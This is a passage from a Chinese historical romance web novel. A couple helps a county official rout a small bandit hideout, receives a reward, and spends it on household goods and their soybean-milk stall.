“嫂子与你说的话, 你可得记住。” 陆鸢虽一下子没反应过来她说什么, 但就这偷偷摸摸的模样, 想也知道说的哪一茬。 “嫂子, 我懂我懂。”陆鸢应得敷衍。 黄兰瞪了她一眼, 耐心道:“你不懂,你男人那张脸, 那身子……咳咳咳,总归多得是人觊觎。” 说着话, 两人都暗暗抬眼, 往牛车边上搬东西的祁晟看了一眼。 和穿得臃肿的陆鸢不同,祁晟似乎不太怕冷, 衣服还是只夹薄薄一层的芦花,所以瞧着依旧肩宽腰劲,腰挺腿长。 似乎察觉到了她们的视线, 祁晟抬头望了过去,两个女人作贼心虚地收回视线。 祁晟微微蹙眉,这样子,不用想也知道她和嫂子在议论他。 议论什么? 两个妇女收回了视线后,黄兰的声音更低了:“也不是嫂子吓唬人,这谁都保不准自己男人以后会不会变心,你这赶紧生米煮成熟饭才是。” 陆鸢以为黄兰嫂子想让她如此拴住祁晟,却不想黄兰又道:“不说旁的,就说你家男人以前洁身自好,你还不趁着把房圆了,省得生出变故,便宜了别人。” 陆鸢:…… 不是,嫂子这么生猛的吗? 我以为你让我拴住男人,你却让我趁早睡男人??? 好一会后,陆鸢才与黄兰话别,抱了抱孩子后,与她们道:“你们在家好好听话,过段时间便接你们到城里。” 两个孩子眼睛都红红的,点了点头。 陆鸢看向何老婆子,道:“老太太,麻烦你了。” 何老婆子笑应:“这是我的曾孙女,麻烦什么。” 陆鸢闻言,笑了笑。 上了牛车,她一直往后边的人挥手。 走远了,祁晟才问:“你方才与陈二嫂说了什么?” 陆鸢看了眼赶牛车的刘三郎,然后凑到他耳边,压低声音道:“嫂子与我说,早些把你睡了,别便宜……” 她话还没说完,就被祁晟给捂了嘴。 祁晟作贼心虚地往后瞧了眼,才皱眉看向她。 陆鸢眨了眨眼睛,那眼神无辜得很,好似在说——也不怪我,是你自己要问的。 祁晟一指放在唇边,做了个噤声的动作,见她点了头,才把手松开。 陆鸢抹了抹嘴,小声嘀咕:“一个大男人,比人家嫂子还害臊。” 祁晟:…… 要不是在外头,他非得与她好好说道。 有些话,可以在屋子里头说,在外头可不能多说。 陆鸢似乎想到了什么,转头眯眼看他,小声道:“你可别想与我说道理,我不爱听。” 祁晟默了默,瞧着她那副“你讲道理我是绝对不会听的”模样,忽然就笑了。 她素来委屈了别人,都不会委屈自己,所以这性子也格外开朗。 且她嘴花花,但实则却是个纸老虎,色厉内荏。 她性子素来就是这样的,他是知道的。 这便是她,也是因此,他才被所吸引,又为何要改? 陆鸢暗自掐了一下他的腰身,感觉到他的腰一紧,她失神了一下,随即抬头看他:“你笑什么!” 祁晟把她的手推开,低声道:“别闹了,刘三哥在呢。” 身后隐约传来夫妻俩的窃窃私语,刘三郎心道原来你们夫妻俩还知道有我在呢。 他只是看不见,耳朵又没聋,时不时有个别词落入耳中,一琢磨都能知道是什么意思。 陆鸢斜睨了一眼他,随即也没再闹他,而是趴到背篓上,望着四周的景。 虽然入了冬,但四季景色都没有太大的变化,只是没了日头,天色略显昏暗,但树上的叶子都还是绿色的。 摇摇晃晃到了镇上,去广康城的牛车也刚到。 临近分别,刘三郎与祁晟道:“你昨日与我爹说有流寇的事,我也听了一耳朵,你自己小心些,可别仗着自己会些拳脚功夫就逞强,我可不想再听到关于你的坏消息。” 祁晟点头:“你放心吧,若真不幸遇上了,打不过我会跑。” 刘三郎道:“别说这些晦气话,肯定遇不上。” 祁晟点了点头,与刘三郎道了别,便上了另一辆牛车。 离开了安平镇后,祁晟就把背篓里头的柴刀拿了出来,同一辆牛车的人见此,都微微变了脸色,慢慢挪开了些。 陆鸢愣了一下,问:“你什么时候把柴刀放到背篓里的?” 祁晟也没瞒她:“路上不太平,有备无患。” 说着,也把削好的棍子插入柴刀的刀柄之中。 听到祁晟的话,刚挪开的人又凑了过来,说:“我也听说了,新上任的县丞大刀阔斧,劝说县令整顿广康的九岭一十八寨。” “这东南的寨子就是第一个。” 说是整顿,但祁晟却也笑不出来。 整顿是好事,但就怕整顿到一半,这广康县丞又被调走了,留下烂摊子。 此前,广康城继任的县令县丞不是没想过要整顿山匪。可这些山匪在岭南盘踞已久,根扎得极稳,想要整顿,谈何容易。 往任官员往往都自满,觉得自己能解决这个问题,但每每落败,任期一满后,就逃跑了。 不过,新继任的县丞似乎也是有些本事的,起码打得这东南山匪落荒而逃。 祁晟用木头把手臂长的棍柄敲入了柴刀里头,然后才放到一旁。 他与身旁的陆鸢道:“早上起了大早,你若困了,就靠着我眯一会。” 陆鸢摇了摇头:“去镇上的时候,眯了会,现在不困。” 牛车上除了赶牛车的中年男人外,还有另一对中年夫妻和一个中年男人。 都是些陌生人,她可不想被这些陌生人评头论足。 倒是祁晟让她稀奇,这早上还想让她注意影响的人,这回怎就变了,还主动让她靠着他睡? 祁晟对上她那稀奇疑惑的眼神,便道:“不想让你太累。” 陆鸢轻笑了一声,遂转头望向另一边,嘴角压不住,眼里也含着隐隐笑意。 山路慢行,牛车慢慢悠悠地往着广康城的方向而去,两个时辰的路,已行时过半。 山林中有风吹动草木的沙沙声,还有虫鸣鸟叫声,除此之外,车轱辘的声音格外的清晰。 虽有声,却矛盾地静谧。 陆鸢昏昏欲睡时,忽然一声尖叫打破这份矛盾的静谧。 车上所有昏昏欲睡的人都一瞬间惊醒,祁晟倏然握住了柴刀的刀柄。 紧接着是叫喊救命的声音。 “完了完了,真遇上山贼土匪了!”车上的男人白着脸道。 陆鸢心里也是一紧。 听声音似乎在不远处传来的。 赶牛车的男人连忙拉着了拴牛的绳子,转头与他们道:“咱们得掉头,从另外的道走了!” 另一对夫妻的男人道:“那赶紧绕道呀!” 祁晟却跳下了牛车。 陆鸢心惶惶地抓住了他的衣袖:“你要去哪?!” 其他人也都看向了他,目光落在了他手中的柴刀上,赶牛车的人道:“那可是山贼土匪,你可别冲动。” 祁晟道:“若是山贼土匪,肯定有马,咱们会被追上,你们先往回走,我悄悄去查看情况。” 陆鸢连忙对他摇头:“别去,太危险了。” 祁晟与她道:“我不会莽撞,你先回城里,我若赶不上牛车,便步行去城里。” 赶牛车的心慌慌地,有些急:“你到底走不走?” 祁晟摇了摇头,定定地与陆鸢对视:“我不会莽撞乱来。” 陆鸢犹豫了几息,还是颤颤地把手给松了。 若是今日祁晟没有跟着来,他们这些人遇上山匪,对方可能就只有一两个人,她自是也希望有人来救自己的。 牛车掉头,她转头与他道:“你小心点,救不了人就跑。” 祁晟点了点头。 若前方只有两三个流寇,瞧清身手如何后,他再决定是否要救人。 若是流寇众多,他会毫不犹豫地选择自保。 但现在情况不明,事关人命,他得前去看看。 祁晟转头就往声音传来的方向疾跑而去,近了些,便往高处杂草丛生的地方匿藏,悄然摸了过去。 牛车上,陆鸢心依旧惶惶的。 车上另一个妇人道:“你怎就这般心大,竟真让你男人去救人,也不想想那些贼寇都是些十恶不赦的人,去了可就难回来了。” 陆鸢听到后边的话,看向妇人:“我郎君心里有数,我不爱听这些不吉利的话。” 妇人念叨着:“你既知不吉利,你怎么就不劝着点?” 陆鸢没再应她。 她瞧得出来,祁晟的眼神很坚定。 他能让这么多人都夸赞,不仅仅是善言谈,样貌好,还有他品性端正的原因在。 祁晟的三观极正,很难做到见死不救。 牛车换了道走,晚了半个时辰才到的广康城。 一到城门口,陆鸢就径自与守城门的守卫说了道上可能有匪的事,赶牛车的人对这些路都非常了解,也就仔细地与守卫说了是何处。 陆鸢又着急地补充道:“我郎君听到求救声,便去查看了,一路上也没跟来。” 守卫与她道:“娘子莫要担心,我立刻去禀告县丞大人,县丞大人会派人出去救人的。” 说罢,遂喊来另一人,道:“你且仔细询问他们遇匪之事,我去禀告县丞大人。” 那人把他们喊到了一边,仔细盘问过后,便让他们离开,而车夫得留下,一会还得仔细说明位置。 车夫倒是非常的配合,没有半点的不耐烦。 毕竟这是人命关天的大事,能帮得上一点小忙也是好的。 陆鸢也没走,一直等在城门口。 她心下默默祈祷着祁晟平安无事。 他也真是的,性子那么刚直做什么,自私一点不成么。 越想,陆鸢就越后悔没劝下他。 万一他再出点什么事,她该怎么和老太太交代? 过了小半个时辰后,忽然有马蹄声传来,陆鸢循声望去,就见到一个身材魁梧的男人骑着一匹大马,领着八九人策马前来。 男人浓眉细眼,面色冷峻,眼神也尤为凌厉,似乎二十七八的年纪,穿着藏青色的圆领官袍,手持着一柄朴刀,气势汹汹。 提着长刀,气势凌冽,似携着浓烈杀气而来。 陆鸢有一瞬都觉得这不像个官,倒像个匪。 男人在他们跟前勒马停下,城门守城的人都一拱手,唤了一声“县丞大人。” 县丞冷冷地扫了一眼众人,扔了一张地图给方才盘问的人,声音肃严:“让他们在地图上指明位置。” 那人连忙接住,恭恭敬敬地应了一声:“是。” 接着,便展开地图,与车夫细说。 陆鸢也有些怵这跟前的这人高马大的县丞,但还是硬着头皮上前一步,双手交叠在腹前,垂肩低头道:“大人,民妇郎君怀疑是土匪行恶,救人心切,也追了过去,如今不知情况,还请大人也救救我家郎君。” 县丞扫了一眼说话的妇人,只冷淡地“嗯”了一声,不再多言。 不一会,守卫捧着地图到县丞跟前,指了地图上的位置。 知道位置后,县丞取回地图,就立刻策马领着人出了城。 瞧着有救兵出去了,陆鸢暗暗松了一口气,但没多久又因为还没见着祁晟,也没他的消息,复而又把那口气给提了起来。 第66章 天色快暗下来了, 徘徊在城门口的陆鸢,只得背上背篓,提着篮子先回去。 她除了早上从家里出门时喝了粥外,到现在就只喝了几口水。 还没祁晟的消息, 她实在是吃不下东西。 提心吊胆直至天黑, 院子外才传来敲门声。 听到声响, 陆鸢腾地一下就站了起来,也没提灯笼就心急如焚地跑了出去, 还险些被门槛绊倒了。 跑到门后,正要开口询问时, 便传来祁晟的声音。 “丽娘, 是我,开门。” 陆鸢顿时颤抖着手把门闩拿来, 门一开, 看见人影的一瞬, 陆鸢猛地就扑了过去。 祁晟还未反应过来, 便看到一团黑影窜了出来, 他下意识张开了手臂,待她扑入怀中, 愣了一瞬才环抱住她。 陆鸢声音哽咽:“你下回别这逞强,我这一整天都怕得厉害, 胡思乱想的, 生怕你回来的时候是被人抬着回来的,然后东一块西一块……” 她害怕没法与老太太交代。 害怕最后在这个陌生的时代, 最后只剩下两个孩子与她相依为命,没了能理解她的人,没了与她三观相近的人。 最重要的是, 他们相当于谈恋爱都谈了快两个月了,也不舍得他出事。 祁晟听着她担心的话,也听出了她语气中的惊惶。 他轻拍了拍她的后背,声音低而沉:“我全乎回来了,没有缺胳膊少腿,平平安安回来了。” 陆鸢一听,顿时气涌上心头,松开了他的腰身,微微退了些,抡拳打了他几下:“让你能!” 祁晟点头:“我错了我错了,莫气了。” “敷衍!”她抬起脸,瞪了他一眼。 虽然黑漆漆的,只能瞧见个黑影。 忽然“呼哧”的呼吸声在黑暗中响起,陆鸢一愣,扭头朝着左边瞧去,隐约瞧见一个庞大的身影,吓得她倒抽了一口凉气,惊道:“什么东西?!” 祁晟道:“是马。” “我们进去说话。”他说。 陆鸢瞧了眼那黑漆漆的庞大的身影,满肚子的疑问,但也还是随着他一同进了院子。 祁晟拉着马进院子,她则进屋把灯笼提了出来,走到马跟前,才发现是一匹黑色的马。 她问:“这马怎么回事?” 祁晟道:“是缴获的,县丞恩准我骑回来,但明日得送回公署。” 陆鸢闻言,等他系好马后,便拉着他进屋,灯笼凑近他,从头到脚,从前到后,没有看到血迹,她才松了一口气,问他:“牛车走之后,发生了什么事?” 祁晟道:“我循声而去,看到有三个山匪劫了一辆马车,车夫与一对四五十岁的夫妻,衣着尚算华丽。几人都被捆绑押走,我便尾随着他们,到了一处地方。 仔细盯了许久,确定是个七八人的窝点。” “我猜到你们肯定会报官,便按照原定的路回广康城,在半道上就遇上了赶来剿匪的县丞,我就带着他们去了山匪的窝点。” 窝点的山匪人数不多,本不用祁晟出手,但他存了私心,想得些赏银,且在县丞面前露脸,便就出手了。 以前总觉得靠山吃山,打猎也能养活自己和祖母,可往后自然是不能时常再进山打猎了,想要祖母和妻儿过上好日子,便要从长计议。 在县丞面前露脸,便算是有了一丝一缕的关系,有益无害。 自然,这些事是断然不能与她说的,不然她就有得念了。 听了祁晟的话,陆鸢松了一口气,说:“得亏你机灵,没有莽撞救人。” 她复而问:“那车夫和那对夫妇呢?” 祁晟道:“他们应是想要赎银,所以并没有害人性命。” “那剿匪,可有人丧命?” 祁晟摇头:“有人受伤,但没有因此丧命。” 陆鸢悬着的心也落到了实地上,万幸,没有闹出人命, 情绪松快了一些,她也有心情问了赏银的事。 “那你这回剿匪有功,有没有赏银?” 祁晟瞧着她期待的神色,点了点头:“让我明日还马,也顺道去领赏。” 陆鸢闻言,脸上顿时露出了欣喜之色:“若是赏银可观,我们是不是就能提前把老太太和孩子们接到城里了?” 祁晟道:“最近不太平,还是等过些时日,太平些之后再把他们接来。” 陆鸢原本亢奋的心情,在听到他的话后,表情顿时耷拉了下来 “是呀,还有这一茬,也不知道什么时候才能太平些。” 祁晟道:“等我这眼睛再恢复一点的,我就回去接,你我也能放心一些。” 陆鸢点了点头,随即道:“你肯定没吃东西,我也没吃,我去煮些粥。” 祁晟道:“你胆战心惊了一整日,也累了,我去做,你歇着。” 陆鸢摇了摇头:“还是我去吧。” 祁晟笑了笑:“一并去吧。” 两人都挤在小小的厨房里头,煮粥,烧水。 粥熬好了,等放凉时,陆鸢提着灯笼,让祁晟陪着她出去一趟。 祁晟道:“这么晚了,要去哪?” 今晚单日,没有夜市,四下静悄悄。 陆鸢:“你与我出去就是了。” 祁晟只得陪着她出去。 走到一处院子外头,陆鸢小声与他道:“这院子没人。” 祁晟瞳孔微缩,诧异地盯着她,又听她说:“里边种有柚子树,叶子都已经长出围墙外了,你个子高,跳起来摘几片叶子。” 祁晟以为她要他做贼。 没成想,她还真要他去做贼…… 祁晟抬头看向长出墙外的柚子叶,夜里看得不太清楚,但也能瞧见影子。 他沉了气,伸手一跃,一把就抓下了几张叶子。 陆鸢忙压低声音道:“快快快,咱们赶紧回去。” 一副做贼后的模样。 回了家中,陆鸢洗了洗那几张柚子叶,就放到了锅里,说:“今日遇上了这么晦气的事,肯定得洗洗柚子水,去去晦气。” 祁晟笑道:“我以为你不信神佛。” 陆鸢非常坚定了一声:“不。” 随后道:“以前我是不信的,但后来我坚信世上有神佛,也有鬼神。” 祁晟诧异地看向她:“为何?” 陆鸢提着灯笼与他回了屋,说:“见过鬼了。” 入了屋子,祁晟阖上了房门,隔绝了外头的冷风。 问她:“何时的事?” 陆鸢在桌前坐下,捧起粥碗,喝了一小口,温度已经适宜了。 她不甚 她想了想,说:“大概是溺水险些死了的时候。” 听到她这话,他便没有继续问下去。 有些事,心里有了数,也就不用打破砂锅问到底。 喝了粥后,陆鸢问:“那院子里的马,要喂点什么吗?” 祁晟道:“家里还有一些用来生火的禾秆,我一会挑些出来喂它。” 市集上也会有人挑着稻秆出来卖,是用来生火的好物。 陆鸢不免好奇道:“老马识途,你说这马之后会不会跑回之前的窝点去?” 祁晟应:“这些山林强盗土匪,吃的用的,很多都是抢来的,说不准外头那匹马也是抢来的,所以不一定会识途归返。” 陆鸢:“马,卖得贵吗?” 祁晟仔细想了想,应道:“贵,寻常马起码十贯钱一匹。” 十贯钱便是十两。 五两都够五口之家一年的嚼用了,这十两得是普通人家两年不吃不喝才买得起。 十两一匹马,这可相当于是豪车了。 她喃喃道:“什么时候,我们才能有一匹马……” 祁晟瞧了她一眼,心下略一琢磨,也是把话听了进去。 早间起来,祁晟给黑马喂了些稻秆,陆鸢也起来了。 她穿上厚实的衣服,缩着脖子从屋子出来,打了个哈欠。 祁晟与她说:“锅里留有温水给你洗漱用。” 陆鸢点了头,随之问他:“什么时候去公署?” 祁晟转头看向她,问:“你要不要一块去?” 陆鸢想了想,应:“去。” 祁晟:“那等你吃了朝食再去。” 盥洗后,用了朝食,陆鸢便同牵着马的祁晟一同出了门, 行了约莫有小半个时辰,才到公署。 祁晟与公署看门的衙役说明了来意。 衙役道:“县丞交代过了,你若来了公署,便让你去县丞廨寻他,你且随我来。” 说着,便牵过了他手中的缰绳。 祁晟看向一旁的陆鸢。 陆鸢道:“你去吧,我在前边的茶摊等你。” 祁晟点了点头。 他随着衙役进了公署,往东方向而去。 步行半刻,便听到飒飒的声响,绕过了内署影壁,便看到那高大的县丞挥舞着大朴刀,招式虎虎生威,招招似有千斤力。 昨日在路上,若不是见其穿着公服,他还当是又遇上了另一伙山贼强盗。 县丞见来了人,便停了下来,把朴刀放回架子上,一旁的衙役捧上了布巾。 冬日里,旁人都穿得厚实,县丞却是一件单衣,甚至还满头大汗。 祁晟随着衙役朝着县丞行礼。 “草民祁晟,见过大人。” 县丞拿起布巾擦了一把汗。 看向他,道:“不用多礼。” 祁晟站直,但还是没有直视县丞。 县丞道:“你此番剿匪有功,不仅助我抓住了八个强盗,还出了手,是以我与县令大人商议过了,赏你八贯钱,粮一斛,布一匹。” 祁晟没有客套拒绝,直接弯腰拱手道:“谢大人赏。” 身形强壮的县丞上下打量他一眼,说:“你身形虽不够雄壮,但瞧着也有些身手,可愿入公署当值?” 祁晟来时,便猜到了会有这么一出。 毕竟县丞要剿匪,公署必然缺人手。 但家中的情况,不允他如此冒险,但也不能一下回绝,让人观感不好。 “草民数月前曾入山打猎,为躲避雄虎而不幸遭祸,伤及头颅,昏睡了数月。醒来后,双目失明,经过悬壶医馆大夫一月医治,如今才堪堪恢复六成,恐不能胜任。” 县丞闻言,略一挑眉。 “大病初愈,有眼疾。”念了一遍,忽然笑了:“若真是如此,你尚能跟踪山匪到窝点,且与山匪交手,毫发无伤,想来你这本事也不小。” 县丞说话间,眼神里也多了几分欣赏。 第67章 陆鸢在茶馆等着祁晟, 一直望着公署的方向。 约莫小半个时辰后,她才看到从公署里走出来的祁晟,他手上捧着一匹布,身后还跟着两个十七八岁的小吏, 两个小吏肩头上都扛着一袋子东西。 陆鸢忙付了一文钱, 然后跑了过去。 她问走下石阶的祁晟:“这都是赏?” 祁晟朝着她点了点头:“赏了八贯钱和一匹布, 一斛米。” 身后的小吏说:“这些东西最好就是找辆牛车送回去,街头就有牛车, 走个小半刻就到。” 小吏帮忙指了个方向。 陆鸢道:“那我去叫辆牛车。” 这米得有六十来斤了,还有这铜钱, 她可是掂量过的, 两百个铜板大概有一斤重了,这可是八贯钱, 八千枚铜钱呢, 这该有多重呀, 起码快有五十斤了。 祁晟道:“不用, 我能扛得了, 你只需把布抱着就成。” 陆鸢道:“这还要走小半个时辰,百来斤呢。” 祁晟把布给了她, 直接把大半袋子粮食都扛到了肩上,再提着那袋子铜板。 陆鸢:…… 另外两个小吏也愣了一下。 虽说大部分男子都能一手提起五十来斤的重物, 但这么轻轻松松地提了起来, 瞧不出一点儿的吃力,就好似提起的是两袋子无甚重量的草料一样, 可没几个普通男人做得到。 陆鸢问:“不重吗?” 祁晟道:“不是很重。” 以往打猎,若打到两三百斤的野猪,也是他自己一个人扛下山, 这百来斤,算不得多重, 陆鸢捧着布,再次询问:“真的不用叫车吗?” 祁晟摇头,先走了几步,转头喊她:“回去吧。” 陆鸢只得小碎步追上。 看着人走远,小吏道:“我刚才看到这么个俊俏郎君,听说他助县丞抓回来了八个山匪余孽,还因此救下了三个人,我起先是不信的,但现在,我信了。” 夫妻俩回到家中,院子门一阖上,陆鸢就把持不住道:“快把银钱放进屋子里头。” 祁晟把粮和铜板都扛到了屋子里,她便迫不及待地打开铜板的袋子,从里头逐一把八贯钱都捧出来放到了地上。 瞧着八贯钱,她笑得眉眼眯眯,眼里也似乎有光。 祁晟觉着她对银钱的喜欢,比喜欢他多得多了。 自眼疾有所改善后,他都未曾看见过她用这样的眼神看他。 有那么一瞬,祁晟觉着心口略酸。 陆鸢道:“有这一笔赏银,可以租个好点的院子了,也可以置办石磨用来磨豆子,如此不用再去点心铺子借石磨,能省下好些钱呢。” “置办了院子后,还能置办一些家具,剩下的再存起来。” 就这么一小会,她就已经安排好的银钱如何花使了。 她又看向蟹青色的布料,上手摸了摸,道:“这布料厚实,可以给春花秋花各做一张小被褥,这样就不用与老太太一块睡。” 老人家睡眠浅,还要照看两个孩子,夜里估摸着也睡不好。 她想了想,又道:“然后你和老太太也可以每人做一身新衣。” 她又打开了粮食的袋子,看到里头的粮食,有些诧异地转头看向他,问:“这粮食怎么没脱壳?” 祁晟也上前瞧了眼,说:“应是直接从粮仓里拨出来的。” 陆鸢道:“那一斛粮,去了稻谷不就只剩下三十几斤了?” 她还以为是碾好的米呢。 祁晟道:“无事,赏银却是实实在在的。” 说到这点,陆鸢顿时又笑吟吟的:“对,这银钱可是实实在在的,换成粮食的话,还能买一千多斤的糙米呢。” 说着,又看向粮食,道:“正好家里也没什么米了,这些米下午就送去碾了。” 陆鸢昨日到今日的心情,直接从地上窜到了天上,大落大起,好一会才把兴奋的情绪平缓过来。 平复心情后,她与祁晟说:“咱们来对一对理由,之后老太太若问起咱们怎么租得起铺子,我们咋说?” “若直接说事情,老太太肯定担忧得睡不着觉。” 祁晟想了想,就说:“你便说我们每日都去摆了早市,夜市也在摆,我这眼疾又花不了太多的银钱了,也是能存下钱的,祖母应当不会太怀疑。” 陆鸢琢磨了一下,一拊掌道:“那就这么说。” 说罢,她转头看向他,问:“你去见了县丞,他就没留你在公署当职?” 剿匪可是需要很大的财力和人力,祁晟在一众寻常人中,可是人才,她不信那县丞没有这心思。 祁晟晓得什么都瞒不住她,便点头应:“确是说了这事,不过我以我眼睛不好,且为了不让家中老人担心给拒了。” “那县丞真的就没再劝说?”她对此表示有些怀疑。 祁晟道:“他让我双目恢复正常这些时日,再考虑清楚,若改变了主意,便去公署寻他。” 陆鸢皱了眉头,道:“这剿匪可是动真格的,这公署的捕快又不是什么正经的行伍出身的,去剿匪也是万分凶险。” 祁晟道:“听县丞说了一下,似乎会有别地的驻扎军来相助,个中细节,我也不得而知。” 陆鸢道:“那还好一些。” “若是没有这么些山匪强盗,这公署的活计确实是个好差事,可如今却是把命拴在裤腰带上,不管是我,还是老太太,都是不允你去的。” 她只有小善,没有大义,做不到明知前路危险重重,甚至还有可能会丢掉性命,还劝亲近的人为了前途去拼搏,去灭匪,平一方安定。 祁晟淡淡笑了笑,与她道:“我省的,为了你们母女三人,还有祖母,我不会轻易让自己置于险境之中。” 先前一回,他险些人没了,祖母便过上那等苦日子,他怎会狠下心再扔下妻儿老小? 有了他的保证,陆鸢心下就松快立,她转而道:“既有了银钱,我们今日就去把床换成大床,再扯些便宜的麻布做床帘子,这样也能暖和一些。” “对了,咱们再去石器铺子瞧瞧石磨。” 祁晟见她心情极好,他心情也格外的愉悦,道:“那我们现在就去。” 陆鸢却是为难地看着八贯钱,担心道:“咱们肯定不能带这么多银钱出去,那剩下的该怎么藏?” “白日人来人往,贼子不敢这么大胆。” 前边铺子通往后院的门,他们也买了锁头锁住了,就是后门,出去后也会上锁。 陆鸢想了想,只拿了三贯钱,其余的她都给放到灶眼里头。 出门前,还得泡上今晚要煮豆乳的豆子,陆鸢琢磨着都要去置办石磨了,便也就多泡了两斤豆子。 泡上豆子后,就装好两贯钱,就着粮食一同放进了背篓里,由祁晟背着。 把米送到碾坊,称好了重量。 碾米收费为十斤两文钱,六十斤则是十二文钱。 稻谷要反复碾几遍,才能得比较精细的糙米。 碾米时,还得在旁守着,以免这碾米的人动手脚,贪了或是用陈米代替新米。 粮食重中之重,可马虎不得。 在碾坊等了半个时辰,这六十斤的米才碾好。 碾坊的掌柜问他们还要不要这米糠,若是不要的话,他们会按照三文钱十斤来收了。 陆鸢与祁晟道:“老太太来城里,估摸着也要养鸡,咱们就留着吧。” 祁晟也就让留着,多花几文钱买了个布袋。 碾了米后,就去西市瞧床和石磨。 这寻常木床,没有任何的雕刻,一张半丈宽的木板床,得两百五十文钱。 陆鸢还在这铺子里看到了可拆卸的四方桌,桌脚也如后现代的可以直接折叠起来。 她一下就看中了这桌子。 这桌子带去早市就很方便,便是搬去夜市也方便。 陆鸢一问,得八十文钱一张。 这普通的桌子也才四十来文钱一张,这折叠桌子就显得贵了。 可这种桌子就方便了许多,夜里收摊的时候,祁晟也不用那么麻烦了。 犹豫再三,陆鸢还是定了三张桌子。 祁晟诧异地看向她:“真要这么多张桌子?” 陆鸢点头,说:“之前新买的那张桌子,等老太太进城后,直接搬到新家去。” “且我们不是要置办石磨了吗,到时咱们可以多做豆乳,也可以做一些豆花,那自然得多备一张桌子。” 说到这,她又看向掌柜,说:“掌柜的,我们现在要定一张床,三张桌子,过些日子搬新家还要再买一些家具,这些能不能算便宜些,若是能算便宜些,之后搬家的家具,也在你家铺子定。” 掌柜想了想,说:“这床能给你们便宜十文钱,但这桌子,最多只能给你们便宜两文钱。” 陆鸢道:“床便宜十文,再另外送一张席子,而三张桌子,总共便宜十文钱行不行?” 掌柜为难道:“娘子你这讲价也讲得太狠了,这生意可没法做。” 陆鸢道:“掌柜的,若是能便宜这些价钱,我现在就立刻给钱买下,若实在不成,我得再去看看其他家,最后再决定去哪买。” 掌柜闻言,犹豫了片刻后,便一副痛心道:“算了算了,郎君娘子也是诚心想要,那我便便宜卖给郎君和娘子,但下回搬新家要购置家具,可得来我家买。” 陆鸢应道:“一定一定。” 家具买了一百文以上,只要住在城中,都会无偿送到家中。 陆鸢交付了三成定金,剩下的会在家具送到家中后再全交付。 定下半个时辰后再送去后,陆鸢和祁晟又去看石磨。 这比盥洗盆大些的石磨,一贯三百文。 更大的,则一贯六百文。 陆鸢自然是要了便宜的,谈来谈去,就只便宜了三十文钱。 也是无偿送到家中。 有了石磨,省去花在借用石磨上的六文钱,还可以租大一点的摊位多摆一张桌子,卖豆乳和豆花。 定好石磨,复而去买了一些碗具和豆子,还有菜后,带出来的银钱花得七七八八了,也就归家了。 至于宅子,白日多的时间去瞧,也不急于一时。 归家后,没过多久,这床和桌子,还有石磨也陆续送了过来。 这一下子添了这么多东西,小小的院子都挤满了。 陆鸢检查过没有损坏后,便让人把床和石磨都装上。 装好确定无误后,才把银钱都结清了。 陆鸢瞧着新床和石磨,越瞧越喜欢,眉眼都是弯弯的。 这有了新床,睡觉也能翻个身了,而且瞧着也比竹床要好睡得多。 她迫不及待地把新床都铺上了被褥,脱去外衣后,再新床上躺下滚了好几圈。 祁晟倚靠在门边,看着她那股子兴奋劲,嘴角也抑制不住地往上扬。 瞧着她还在床上使劲地摇晃了几下,祁晟不知想到了什么,眼神微一暗,转眸瞧向了别处。 陆鸢滚够了,便坐了起来,看放在空出的竹床,与他说:“竹床没地放,得让东家挪走,顺道一次性缴清三个月的租金,每个月还能省下十文钱呢,你说咋样?” 祁晟心下暗暗呼了一口气,转回视线望向她,应道:“花钱的事宜都由你安排。” 陆鸢一拊掌,道:“行,咱们现在就去找东家。” 二人去了前边的铺子,与东家说了来意。 东家诧异道:“这是挣大钱了?” 祁晟应:“是挣了一些。” 东家闻言,道:“我方才还听到后院有人搬了家具和石磨过来,你们这小摊子竟这么挣钱。” 陆鸢怕祁晟会遭到山匪强盗的报复,所以也不想旁人知道祁晟剿匪有功的事。 她笑应:“便是见挣到了钱,就趁着这回回老家,向亲朋好友借了些。” 东家闻言,眉头微皱:“便是挣了钱,但也得悠着点呀,这眼瞅着就是寒冬了,你们也是真敢添置这么多东西。” 陆鸢道:“便是寒冬,也想多挣几个钱。” 聊了好一会,东家打开了锁头,从这门把竹床搬到了前头的铺子。 看了眼满满当当的院子,心道这年轻夫妻就是不会过日子。 等东家又把门锁上后,陆鸢也有些发愁了。 祁晟舀米准备做中食,瞧着她一副无精打采的模样,琢磨着她一日情绪起伏明显,算了算日子,她的小日子似乎快到了,也就难怪了。 他问:“怎了?” 便是因小日子快来了,情绪起伏大也有原因。 陆鸢耷拉着脸道:“花钱花得太高兴了,这才一个上午,就近乎花去了三贯钱,我得出多少回摊子,才能挣回这么多的银钱?” 祁晟笑了笑,道:“今晚出摊后,不就知道要多久才能挣回来了。” “且入冬后人少,生意差些也没事,等年底,这生意就能好起来。” 如今也快十一月中旬了,再过一个多月,便是年底了。 陆鸢愁了一下后,说:“算了,不想了。我多泡了两斤豆子,希望都能买完,赶下回,咱们再弄豆花出来卖。” 第68章 整个晌午, 陆鸢和祁晟都收掇着家中新添,还有暂时不用的家具。 快要入夜时,祁晟便才把桌椅板凳先搬到夜市上,然后才是其他琐碎的东西。 添置了锅碗瓢盆和桌凳, 有三张桌子, 自然就得花二十文钱租大的摊位, 不然也放不下。 祁晟这眼睛虽然还有些模糊重影,但也不影响他来炸油条。 自陆鸢手被烫伤后, 祁晟就学着怎么来炸油条。 炸油条也不用复杂繁琐的过程,只需掌握好火候就成。 自祁晟撑场子后, 哪怕现在是寒冬, 这生意越来越好了。 大多人都是冲着祁晟这张脸来买油条和豆乳。 要不是怕祁晟听着不高兴,她都想调侃他是油条西施。 陆鸢退居二线打杂, 只是洗碗的时候, 祁晟会接手。 经过这个把月的休养, 又长时间接触油脂, 她这双原本满是厚茧子的双手, 如今这茧子都薄了很多,养过这个冬天, 估计就嫩了。 逐渐夜深,陆鸢冷得跺脚。 祁晟让她过来, 在热豆乳的风炉旁烤一下手。 暖了一会手后, 陆鸢掀开豆乳的桶看了眼,大概还有十来碗, 就是做油条的面都还剩一些。 现在还没到子时,估摸还得再卖半个时辰才能卖完这些。 “郎君,来三碗热豆乳。” 陆鸢正烤着火, 娇娇柔柔的声音传来,她猜到了是谁。 她抬眼瞧了一眼,果不其然,就是那黄鹂。 虽说黄鹂没再劝说祁晟入他们的班子,但贼隔三差五地,都会带几个舞娘过来喝豆乳,期间这些舞娘总是肆无忌惮地盯着祁晟瞧。 陆鸢把豆乳舀到锅中,加热后才端到她们的桌上。 其中一个年轻一些的舞娘看向她,好奇道:“你家郎君怎会瞧上你这样不修边幅的妇人?” 陆鸢为生计奔波,日日都是素面朝天,头上也只是一条发带,或是一两支荆钗,又或是头巾裹头,便是衣裳也没别的花样。 